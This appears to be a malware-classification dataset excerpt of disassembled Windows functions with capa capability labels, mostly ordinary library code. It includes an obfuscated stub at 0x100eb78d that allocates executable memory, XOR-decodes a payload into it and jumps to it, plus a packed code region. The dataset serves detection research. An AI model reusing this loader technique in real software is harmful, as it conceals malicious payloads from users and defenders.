joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a817
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
push 0x89c
mov eax, 0x1000cea5
call fcn.1000b995
mov eax, dword [ebp + 8]
push 0x44
pop esi
xor ebx, ebx
push esi
mov dword [ebp - 0x854], eax
lea eax, [ebp - 0x8a8]
push ebx
push eax
mov dword [ebp - 0x850], ecx
mov byte [ebp - 0x849], bl
call sub.MSVCR100.dll_memset
xor eax, eax
push 0x10
mov word [ebp - 0x878], ax
lea eax, [ebp - 0x864]
push ebx
push eax
mov dword [ebp - 0x8a8], esi
mov dword [ebp - 0x87c], 1
call sub.MSVCR100.dll_memset
add esp, 0x18
push 7
pop edi
xor eax, eax
mov dword [ebp - 0x834], edi
mov dword [ebp - 0x838], ebx
mov word [ebp - 0x848], ax
push ebx
mov esi, 0x105
push esi
lea ecx, [ebp - 0x848]
mov dword [ebp - 4], ebx
call fcn.10008247
cmp dword [ebp - 0x834], 8
mov eax, dword [ebp - 0x848]
jae 0x1000a8bb
lea eax, [ebp - 0x848]
push eax
push dword [ebp - 0x838]
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
cmp eax, ebx
je 0x1000aa62
cmp eax, dword [ebp - 0x838]
ja 0x1000aa62
xor eax, eax
mov dword [ebp - 0x818], edi
mov dword [ebp - 0x81c], ebx
mov word [ebp - 0x82c], ax
push ebx
push esi
lea ecx, [ebp - 0x82c]
mov byte [ebp - 4], 1
call fcn.10008247
cmp dword [ebp - 0x818], 8
mov eax, dword [ebp - 0x82c]
jae 0x1000a917
lea eax, [ebp - 0x82c]
push dword [ebp - 0x81c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
cmp eax, ebx
je 0x1000aa51
cmp eax, dword [ebp - 0x81c]
ja 0x1000aa51
cmp dword [ebp - 0x818], 8
mov eax, dword [ebp - 0x82c]
jae 0x1000a94d
lea eax, [ebp - 0x82c]
mov esi, dword [sym.imp.kernel32.dll_SetCurrentDirectoryW]
push eax
call esi
test eax, eax
je 0x1000aa51
cmp dword [ebp - 0x818], 8
mov eax, dword [ebp - 0x82c]
jae 0x1000a973
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0x864]
push ecx
lea ecx, [ebp - 0x8a8]
push ecx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x854]
push ebx
call dword [sym.imp.kernel32.dll_CreateProcessW]
cmp dword [ebp - 0x834], 8
mov edi, eax
mov eax, dword [ebp - 0x848]
jae 0x1000a9ab
lea eax, [ebp - 0x848]
push eax
call esi
cmp edi, ebx
je 0x1000a9df
push 0x186a0
push dword [ebp - 0x864]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
test eax, eax
jne 0x1000aa17
mov eax, dword [ebp - 0x864]
mov ecx, dword [ebp - 0x850]
mov dword [ecx + 0x24], eax
mov byte [ebp - 0x849], 1
jmp 0x1000aa17
call dword [sym.imp.kernel32.dll_GetLastError]
push 0x800
mov esi, eax
lea eax, [ebp - 0x810]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0x400
lea eax, [ebp - 0x810]
push eax
push ebx
push esi
push ebx
push 0x1000
call dword [sym.imp.kernel32.dll_FormatMessageW]
mov eax, dword [ebp - 0x85c]
mov ecx, dword [ebp - 0x850]
push ebx
mov dword [ecx + 0x28], eax
push 1
lea ecx, [ebp - 0x82c]
mov byte [ebp - 4], bl
call fcn.10008247
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x848]
call fcn.10008247
mov al, byte [ebp - 0x849]
jmp 0x1000aa76
push ebx
push 1
lea ecx, [ebp - 0x82c]
mov byte [ebp - 4], bl
call fcn.10008247
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x848]
call fcn.10008247
xor al, al
call fcn.1000ba18
ret 4
Function at 0x1000aa7e
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x258
mov eax, 0x1000cef0
call fcn.1000b995
mov edi, ecx
xor esi, esi
mov byte [ebp - 0x251], 0
cmp dword [edi + 0x20], esi
jne 0x1000acb5
mov eax, dword [edi]
xor ebx, ebx
inc ebx
sub eax, esi
mov dword [ebp - 0x25c], esi
mov dword [ebp - 0x260], ebx
je 0x1000aacd
dec eax
jne 0x1000acb5
lea eax, [ebp - 0x25c]
push eax
push ebx
push esi
push str.softwareMicrosoftWindowsCurrentVersionApp_PathsAcrobat.exe
jmp 0x1000aadb
lea eax, [ebp - 0x25c]
push eax
push ebx
push esi
push str.softwareMicrosoftWindowsCurrentVersionApp_PathsAcroRd32.exe
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [ebp - 0x25c], esi
je 0x1000acb5
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x260]
push eax
push esi
push 0x1000f51c
push dword [ebp - 0x25c]
mov dword [ebp - 0x264], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, esi
jne 0x1000aca9
cmp dword [ebp - 0x260], ebx
je 0x1000ab40
cmp dword [ebp - 0x260], 2
jne 0x1000aca9
push 0x1c
call sub.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x258], eax
mov dword [ebp - 4], esi
cmp eax, esi
je 0x1000ab65
lea ecx, [ebp - 0x218]
push ecx
mov ecx, eax
call fcn.10008247
jmp 0x1000ab67
xor eax, eax
or dword [ebp - 4], 0xffffffff
mov dword [edi + 0x20], eax
cmp byte [0x10015902], 0
je 0x1000aca2
mov edx, dword [eax + 0x14]
push 8
pop esi
cmp edx, esi
jb 0x1000ab8f
mov ecx, dword [eax]
mov dword [ebp - 0x258], ecx
jmp 0x1000ab95
mov dword [ebp - 0x258], eax
cmp edx, esi
jb 0x1000ab9d
mov ecx, dword [eax]
jmp 0x1000ab9f
mov ecx, eax
mov ebx, dword [eax + 0x10]
lea ecx, [ecx + ebx*2]
cmp edx, esi
jb 0x1000abab
mov eax, dword [eax]
push dword [sym.imp.MSVCR100.dll_towlower]
push dword [ebp - 0x258]
push ecx
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.10008247
add esp, 0x14
push str.acrobat.exe
lea ecx, [ebp - 0x234]
call fcn.10008247
push str.acrodbg.exe
lea ecx, [ebp - 0x250]
mov dword [ebp - 4], 1
call fcn.10008247
mov eax, dword [ebp - 0x234]
mov byte [ebp - 4], 2
cmp dword [ebp - 0x220], esi
jae 0x1000ac07
lea eax, [ebp - 0x234]
mov esi, dword [ebp - 0x224]
mov edi, dword [edi + 0x20]
push esi
push 0xffffffffffffffff
push eax
mov ecx, edi
call fcn.10008247
mov ebx, eax
test ebx, ebx
je 0x1000ac2e
mov dword [ebp - 0x258], esi
mov esi, str.acrord32.exe
jmp 0x1000ac64
cmp dword [ebp - 0x23c], 8
mov eax, dword [ebp - 0x250]
jae 0x1000ac43
lea eax, [ebp - 0x250]
push dword [ebp - 0x240]
mov ecx, edi
push 0xffffffffffffffff
push eax
call fcn.10008247
mov ebx, eax
test ebx, ebx
je 0x1000ac7c
mov dword [ebp - 0x258], esi
mov esi, str.acrd32_d.exe
push esi
call dword [sym.imp.MSVCR100.dll_wcslen]
pop ecx
push eax
push esi
push dword [ebp - 0x258]
mov ecx, edi
push ebx
call fcn.10008247
push 0
push 1
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 1
call fcn.10008247
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x234]
call fcn.10008247
mov byte [ebp - 0x251], 1
push dword [ebp - 0x25c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 0x251]
call fcn.1000ba18
ret
Function at 0x10032b90
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x101fac9c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x101fe4b0]
mov dword [ebp - 0x60], 0
test eax, eax
jne 0x10032c7f
push 0x55
push 0x101fe4b8
push 0x5c
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoEx]
test eax, eax
jle 0x10032c68
push esi
push 0x55
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.10108310
add esp, 0xc
mov esi, 0x2d
xor edx, edx
nop dword [eax]
nop dword [eax + eax]
movzx eax, word [edx*2 + 0x101fe4b8]
cmp eax, 0x5f
movzx ecx, al
cmove ecx, esi
mov byte [ebp + edx - 0x5c], cl
test cl, cl
je 0x10032c13
inc edx
cmp edx, 0x55
jl 0x10032bf0
mov byte [ebp - 8], 0
push 0x41
call fcn.100eb78d
mov esi, eax
add esp, 4
test esi, esi
je 0x10032c67
lea eax, [ebp - 0x60]
push eax
push 0x40
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.100eb78d
add esp, 0x10
cmp dword [ebp - 0x60], 0
jg 0x10032c5e
push 0x10032340
push 0x15
mov byte [eax + esi], 0
mov dword [0x101fe4b0], esi
mov byte [0x101fe4b4], 1
call fcn.100eb78d
add esp, 8
jmp 0x10032c67
push esi
call fcn.100eb78d
add esp, 4
pop esi
mov eax, dword [0x101fe4b0]
mov ecx, 0x10166518
test eax, eax
cmovne ecx, eax
mov dword [0x101fe4b0], ecx
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e580b
mov esp, ebp
pop ebp
ret
Function at 0x100342a0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
mov eax, dword [0x101fac9c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x358], 0
push edi
push 0x1b0
push eax
mov dword [ebp - 0xc], eax
xor edi, edi
mov word [ebp - 8], ax
mov word [ebp - 0x35c], ax
mov byte [ebp - 0x35a], al
lea eax, [ebp - 0x354]
push eax
call fcn.10108310
push 0x80
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.10108310
push 0x80
lea eax, [ebp - 0x8c]
push edi
push eax
call fcn.10108310
add esp, 0x24
lea eax, [ebp - 0x354]
push eax
call dword [sym.imp.kernel32.dll_GetDynamicTimeZoneInformation]
cmp eax, 0xffffffff
je 0x100343be
push 0x10
call dword [sym.imp.kernel32.dll_GetUserGeoID]
push edi
push 3
lea ecx, [ebp - 0xc]
push ecx
push 4
push eax
call dword [sym.imp.kernel32.dll_GetGeoInfoW]
mov ebx, eax
lea eax, [ebp - 0x358]
push eax
push 3
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 0x35c]
push 3
push eax
call fcn.100eb78d
lea eax, [ebp - 0x358]
push eax
push str.windowsZones
push edi
call fcn.100eb78d
mov esi, eax
lea eax, [ebp - 0x358]
push eax
push esi
push str.mapTimezones
push esi
call fcn.100eb78d
lea eax, [ebp - 0x358]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x2a8]
push eax
push edi
lea eax, [ebp - 0x10c]
push 0x80
push eax
call fcn.100eb78d
add esp, 0x4c
cmp dword [ebp - 0x358], edi
jle 0x100343d1
test esi, esi
je 0x100343be
push esi
call fcn.100eb78d
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e580b
mov esp, ebp
pop ebp
ret
cmp word [ebp - 0x2a8], di
je 0x100344b6
lea ecx, [ebp - 0x1a4]
call sym.icuuc67.dll_public:_void___thiscall_icu_67::StackUResourceBundle::constructor_void_
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x10c]
push eax
push esi
call fcn.100eb78d
add esp, 0x10
cmp dword [ebp - 0x358], edi
jg 0x100344ab
test ebx, ebx
je 0x10034441
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x1a4]
push eax
call fcn.100eb78d
mov ecx, eax
add esp, 0x10
test ecx, ecx
jne 0x1003446b
lea eax, [ebp - 0x358]
mov dword [ebp - 0x358], edi
push eax
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x1a4]
push 0x101684d4
push eax
call fcn.100eb78d
add esp, 0x10
mov ecx, eax
cmp dword [ebp - 0x358], edi
jg 0x100344ab
movzx eax, word [ecx]
xor edx, edx
test ax, ax
je 0x100344a3
mov ebx, eax
nop
cmp bx, 0x20
je 0x1003449b
add ecx, 2
mov byte [ebp + edx - 0x8c], bl
inc edx
movzx eax, word [ecx]
mov ebx, eax
test ax, ax
jne 0x10034480
cmp edx, 0x80
jae 0x100344f0
mov byte [ebp + edx - 0x8c], 0
lea ecx, [ebp - 0x1a4]
call sym.icuuc67.dll_public:_void___thiscall_icu_67::StackUResourceBundle::destructor_void_
cmp byte [ebp - 0x8c], 0
je 0x100344d0
lea eax, [ebp - 0x8c]
push eax
call fcn.100eb78d
add esp, 4
mov edi, eax
test esi, esi
je 0x100344dd
push esi
call fcn.100eb78d
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100e580b
mov esp, ebp
pop ebp
ret
call fcn.100eb78d
int3
Function at 0x100a5380
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10154133
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x101fac9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [edi + 4], vtable.icu_67::UnicodeMatcher.0
mov esi, dword [ebp + 8]
lea eax, [edi + 0x34]
mov dword [edi], vtable.icu_67::UnicodeSet.0
mov dword [edi + 4], vtable.icu_67::UnicodeSet.1.0
mov dword [edi + 8], eax
mov dword [edi + 0xc], 0x19
mov dword [edi + 0x10], 1
mov byte [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
push dword [esi + 0x10]
mov dword [ebp - 4], 0
call fcn.100eb78d
test al, al
je 0x100a5581
mov eax, dword [esi + 0x10]
mov dword [edi + 0x10], eax
shl eax, 2
push eax
push dword [esi + 8]
push dword [edi + 8]
call fcn.10108470
mov eax, dword [esi + 0x2c]
add esp, 0xc
test eax, eax
je 0x100a5528
cmp dword [eax + 4], 0
je 0x100a5528
push 0x18
mov dword [ebp - 0x10], 0
call fcn.100eb78d
add esp, 4
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 1
test eax, eax
je 0x100a5488
lea ecx, [ebp - 0x10]
push ecx
push 1
push sym.icuuc67.dll_uhash_compareUnicodeString_67
push sym.icuuc67.dll_uprv_deleteUObject_67
mov ecx, eax
call fcn.100eb78d
mov ebx, eax
jmp 0x100a548a
xor ebx, ebx
mov byte [ebp - 4], 0
mov dword [edi + 0x2c], ebx
test ebx, ebx
jne 0x100a549e
mov dword [ebp - 0x10], 7
jmp 0x100a54d8
cmp dword [ebp - 0x10], 0
jle 0x100a54bf
mov eax, dword [ebx]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x1015821c]
mov ecx, ebx
call esi
mov dword [edi + 0x2c], 0
jmp 0x100a54d8
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
push 0x100a6cb0
push dword [esi + 0x2c]
call fcn.100eb78d
cmp dword [ebp - 0x10], 0
jle 0x100a5528
cmp dword [edi + 0x18], 0
jne 0x100a5522
cmp dword [edi + 0x30], 0
jne 0x100a5522
mov eax, dword [edi + 8]
mov dword [eax], 0x110000
mov eax, dword [edi + 0x24]
mov dword [edi + 0x10], 1
test eax, eax
je 0x100a5512
push eax
call fcn.100eb78d
add esp, 4
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov ecx, dword [edi + 0x2c]
test ecx, ecx
je 0x100a551e
call sym.icuuc67.dll_public:_void___thiscall_icu_67::UVector::removeAllElements_void_
mov byte [edi + 0x14], 0
mov byte [edi + 0x14], 1
jmp 0x100a5581
mov ebx, dword [esi + 0x24]
test ebx, ebx
je 0x100a5581
mov eax, dword [edi + 0x24]
mov esi, dword [esi + 0x28]
test eax, eax
je 0x100a5550
push eax
call fcn.100eb78d
add esp, 4
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
lea eax, [esi*2 + 2]
push eax
call fcn.100eb78d
add esp, 4
mov dword [edi + 0x24], eax
test eax, eax
je 0x100a5581
push esi
push ebx
push eax
mov dword [edi + 0x28], esi
call fcn.100eb78d
mov ecx, dword [edi + 0x28]
add esp, 0xc
mov eax, dword [edi + 0x24]
xor edx, edx
mov word [eax + ecx*2], dx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100a55a0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10154158
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x101fac9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_67::UnicodeMatcher.0
push 0
push dword [ebp + 8]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
mov dword [esi], vtable.icu_67::UnicodeSet.0
mov dword [esi + 4], vtable.icu_67::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.100eb78d
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x100a5650
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10154188
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x101fac9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_67::UnicodeMatcher.0
push dword [ebp + 0xc]
lea eax, [esi + 0x34]
mov dword [esi], vtable.icu_67::UnicodeSet.0
push dword [ebp + 8]
mov dword [esi + 4], vtable.icu_67::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [ebp - 4], 0
mov dword [eax], 0x110000
call fcn.100eb78d
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x100a81d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
push esi
xor esi, esi
mov dword [ebp - 0xc], ebx
push edi
mov eax, dword [ebx + 0xc]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 4], eax
test eax, eax
jle 0x100a8233
mov eax, dword [ebx + 4]
movzx edx, byte [ebp + 8]
mov dword [ebp - 8], eax
nop dword [eax]
mov ebx, dword [eax + esi*8 + 4]
mov ecx, dword [eax + esi*8]
dec ebx
mov eax, ebx
movzx edi, cl
xor eax, ecx
test eax, 0xffffff00
jne 0x100a821c
cmp edi, edx
ja 0x100a8227
jmp 0x100a8220
cmp edi, edx
jbe 0x100a827c
movzx eax, bl
cmp edx, eax
jbe 0x100a827c
mov eax, dword [ebp - 8]
inc esi
cmp esi, dword [ebp - 4]
jl 0x100a8200
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x100a8271
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x100a8271
xor esi, esi
test ecx, ecx
jle 0x100a8271
movzx edi, byte [ebp + 8]
nop dword [eax + eax]
push esi
mov ecx, eax
call fcn.100eb78d
push 0
mov ecx, eax
call fcn.100eb78d
movzx eax, al
cmp eax, edi
je 0x100a827c
mov eax, dword [ebx + 0x28]
inc esi
cmp esi, dword [eax + 4]
jl 0x100a8250
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x100a96e0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10154548
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x101fac9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_67::UnicodeMatcher.0
push dword [ebp + 0x18]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
push dword [ebp + 0x14]
mov dword [esi], vtable.icu_67::UnicodeSet.0
push dword [ebp + 0x10]
mov dword [esi + 4], vtable.icu_67::UnicodeSet.1.0
push dword [ebp + 0xc]
mov dword [esi + 8], eax
push dword [ebp + 8]
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.100eb78d
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x14
Function at 0x100a97a0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10154578
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x101fac9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_67::UnicodeMatcher.0
push dword [ebp + 0x14]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
push dword [ebp + 0x10]
mov dword [esi], vtable.icu_67::UnicodeSet.0
push dword [ebp + 0xc]
mov dword [esi + 4], vtable.icu_67::UnicodeSet.1.0
push dword [ebp + 8]
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.100eb78d
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x100a9f80
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10154688
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x101fac9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_67::UnicodeMatcher.0
push dword [ebp + 0xc]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
push dword [ebp + 8]
mov dword [esi], vtable.icu_67::UnicodeSet.0
mov dword [esi + 4], vtable.icu_67::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.100eb78d
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x100eb78d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x100eb79c
pop dword [ebp - 0x40]
mov eax, 0x6d89931a
add eax, 0xa2852482
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x89ce2
push 0
mov eax, 0x83543021
add eax, 0x8cc1510b
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x82ac29cf
sub ecx, 0x82abe2e3
mov edx, eax
mov esi, 0xf4fa5df3
add esi, 0x1b269c0d
add esi, dword [ebp - 0x40]
mov ebx, 0xceec8fd2
add dword [ebp - 0x30], edx
mov edi, dword [esi]
mov dword [ebp - 0x20], 0xc4e10425
xor edi, ebx
xor dword [ebp - 0x1c], 0x721b9bb1
mov dword [edx], edi
add dword [ebp - 0x14], ebx
add edx, 4
add esi, 0xcc152885
sub esi, 0xcc152881
loop 0x100eb7f5
add eax, 0x37d412c
add eax, 0xfc83cd57
mov ebx, eax
add eax, 5
mov ecx, 0x4f00dfb9
sub ecx, 0x3f00dfb9
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x4184e8
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x418515
call fcn.0040609e
mov dword [eax], esi
call fcn.0040608b
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0040b9a4
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x418533
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004060b1
pop ecx
jmp 0x418510
test byte [esp + 0xc], 0x80
je 0x41853f
and eax, 0xfffffffe
jmp 0x418542
or eax, 1
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x418524
xor eax, eax
pop esi
ret

Function at 0x401000
Capabilities:
Packed with generic packer

Disassembly:
mov eax, 0x7c63d8
push eax
arpl word [eax + eax + 0x50], di
push dword fs:[0]
mov dword fs:[0], esp
xor eax, eax
mov dword [eax], ecx
push eax
inc ebp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x401080
arpl word [edx + esi], si
adc ebx, dword [edi - 0x54]
xchg ebx, eax
neg dl
push cs
dec ecx
mov eax, 0x7fb97088
add ah, ah
aam 0xeb
jp 0x40109d
mov byte [eax - 0x47], dh
jg 0x401033
in al, 0xd4
jmp 0x4010af
test eax, 0xcf33638c
adc ch, bl
js 0x400fd0
sbb ch, ah
daa
stosd dword es:[edi], eax
mov dword [0x540fb128], eax
xchg edi, eax
inc ecx
and dword [esi + esi*8 - 0x78], ebp
rcr byte [eax - 0x2e], 0xa4
sti
push ss
scasd eax, dword es:[edi]
jne 0x40108b
jl 0x40102c
salc
pushal
jbe 0x401085
daa
xchg esp, eax
lcall 0xa4e8, 0x1020bb2d
push eax
in eax, dx
xor bl, ah
sti
bnd jg 0x401002
popal
lea ebp, [edx - 0x70bb56c6]
push ds
pop ss
cmp dword [eax + ebx*8 + 0x46], eax
and byte [eax - 0x702274c0], al
pop eax
test al, 0xc5
fisttp qword [edi + 0x3dc5a858]
lahf
mov ah, 0xc2
sub ecx, dword [0x6e1df55c]
cmp eax, 0x2bc2b49f
or eax, 0x6e1df55c
pop esp
cmc
sbb eax, 0x97530b6e
or edx, dword [ebx - 0x69]
in al, 0x34
sub dword [ebx], esp
jge 0x401055
ja 0x4010fe
fld xword [esi - 7]
or al, 0xb7
dec edx
mov ch, 0xfc
outsd dx, dword [esi]
jns 0x4010cd
fcom qword [eax - 0x69d98623]
retf 0x41f8
and ecx, eax
hlt
int1
push 0xffffffffffffffb7
dec edx
mul dword [esi - 0x69]
invalid
push edx
inc edi
aas
int1
lds esi, [eax - 0x386d9885]
out 0xf1, eax
xchg edx, eax
cmp al, 0x61
sahf
jmp 0xb6298785